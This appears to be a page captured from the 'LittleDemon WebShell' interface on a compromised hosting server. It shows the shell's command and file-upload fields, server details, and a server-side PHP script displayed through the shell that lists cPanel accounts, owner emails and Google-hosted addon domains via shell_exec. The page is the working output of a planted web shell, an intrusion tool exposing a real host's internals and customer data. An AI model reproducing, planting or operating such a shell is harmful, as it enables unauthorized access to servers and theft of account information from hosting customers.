LittleDemon WebShell


Linux server27.hostingraja.org 2.6.32-954.3.5.lve1.4.93.el6.x86_64 #1 SMP Wed Oct 4 17:04:29 UTC 2023 x86_64
Path : /scripts/
File Upload :
Command :
Current File : //scripts/addondomGsuit.php

<?php
function CheckMX($domain)
{  
    $return = false;
	$domain = trim($domain);
	$MXData = dns_get_record($domain);
	if(empty($MXData)){
		return $return;
	}	
    foreach($MXData as $each_record)
    {
        $type = $each_record['type'];
        if($type == 'MX')
        {
            $target = $each_record['target'];
            if(stristr($target, "aspmx.l.google.com")){
                $return = true;
			}
        }
    }
    return $return;
}
 
$cmd_for_acct_arr = array(); 
$cmd_for_acct = "whmapi1 listaccts --output=json";
$cmd_for_acct_out = shell_exec($cmd_for_acct);
$cmd_for_acct_arr = json_decode($cmd_for_acct_out, true);
$cmd_for_acct_dat = $cmd_for_acct_arr['data']['acct'];

$return_mgs = "<table><tr>
				<th>Username</th>
				<th>Main Username</th>
				<th>Email</th>
				<th>Main Domain</th>
				<th>Addon Domains</th>
		</tr>";

foreach($cmd_for_acct_dat as $data){
	
	$return = "";
	$addondom_arr = array();
	$user = $data['user'];
	$mainuser = $data['owner'];
	$email = $data['email'];
	$maindom = $data['domain'];	
	if(empty($user)){
		continue;
	}

	$cmd_for_list = "cpapi2 --output=json --user='$user' AddonDomain listaddondomains";
	$cmd_for_list_out = shell_exec($cmd_for_list);
	$cmd_for_list_arr = json_decode($cmd_for_list_out, true);
	$AddonDomainList = $cmd_for_list_arr['cpanelresult']['data'];
	
	if(empty($AddonDomainList)){
		continue;
	}		
	foreach($AddonDomainList as $addon){
		$addondom = $addon['domain'];
		if(CheckMX($addondom)){
			$return .= $addondom.",";
		}	
	}
	if($return){		
		$return = rtrim($return,",");		
	$return = "<tr>
				<td>$user</td>
				<td>$mainuser</td>
				<td>$email</td>
				<td>$maindom</td>
				<td>$return</td>
		</tr>";	
	$return_mgs .= $return;	
	}
}
	echo "$return_mgs</table>";	
?>

LittleDemon - FACEBOOK
[ KELUAR ]